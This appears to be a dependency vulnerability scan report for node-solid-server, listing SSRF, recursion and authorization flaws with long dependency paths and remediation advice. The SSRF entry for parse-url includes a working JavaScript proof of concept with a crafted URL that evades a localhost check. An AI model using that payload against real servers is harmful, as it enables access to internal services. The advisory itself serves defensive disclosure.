Vulnerabilities

44 via 418 paths

Dependencies

755

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 44
  • 7
Severity
  • 1
  • 21
  • 26
  • 3
Status
  • 51
  • 0
  • 0

critical severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: parse-url
  • Introduced through: mashlib@2.3.3

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › activitystreams-pane@1.1.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › profile-pane@3.3.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in the parseUrl function, due to mishandling hostnames when processing usernames and passwords.

PoC:

const parseUrl = require("parse-url");
const express = require('express');
const http = require('http');
const app = express();

const isLocal = () => (req, res, next) => (req.connection.remoteAddress === '::ffff:127.0.0.1'|| req.connection.remoteAddress === '::1' ? true:false)
    ? next()
    : res.json({'state':'You\'re not locally'});

parsed = parseUrl("http://google:com:@@127.0.0.1:9999/ssrf_check");
console.log(parsed);

app.get('/', (req, res) => {
    if(parsed.resource == '127.0.0.1'){
        res.send('Not good');
    } else{
        http.get(parsed.href)
        res.send('Good');
    }
});

app.get('/ssrf_check', isLocal(), (req, res) =>{
    console.log('ssrf bypass');
    res.send(true);
});

app.listen(9999);

Remediation

Upgrade parse-url to version 6.0.1 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: braces
  • Introduced through: http-proxy-middleware@2.0.10, @solid/oidc-op@0.12.1 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › http-proxy-middleware@2.0.10 › micromatch@4.0.8 › braces@3.0.3
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-op@0.12.1 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › braces@3.0.3
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-rp@0.12.1 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › braces@3.0.3
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-op@0.12.1 › @solid/keychain@0.4.0 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › braces@3.0.3
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/oidc-op@0.12.1 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › braces@3.0.3
  • Introduced through: solid-server@solid/node-solid-server › @solid/solid-multi-rp-client@0.7.2 › @solid/oidc-rp@0.12.1 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › braces@3.0.3
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/oidc-rp@0.12.1 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › braces@3.0.3
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/oidc-rs@0.7.0 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › braces@3.0.3
  • Introduced through: solid-server@solid/node-solid-server › solid-auth-client@2.5.6 › @solid/oidc-rp@0.11.10 › @solid/jose@0.6.9 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › braces@3.0.3
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/oidc-op@0.12.1 › @solid/keychain@0.4.0 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › braces@3.0.3
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/solid-multi-rp-client@0.7.2 › @solid/oidc-rp@0.12.1 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › braces@3.0.3

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the recursive AST walkers, which lack depth guards. An attacker can supply deeply nested brace patterns that stay within the character limit to exhaust the call stack and crash the Node.js process with an uncaught RangeError.

Remediation

There is no fixed version for braces.

References

high severity

Improper Authorization

  • Vulnerable module: http-cache-semantics
  • Introduced through: mashlib@2.3.3

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmaccess@10.0.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmorg@8.0.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpublish@11.2.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmsearch@9.0.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmteam@8.0.2 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › npm-profile@12.0.2 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmaccess@10.0.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmorg@8.0.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpublish@11.2.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmsearch@9.0.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmteam@8.0.2 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › npm-profile@12.0.2 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpublish@11.2.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpublish@11.2.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpublish@11.2.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
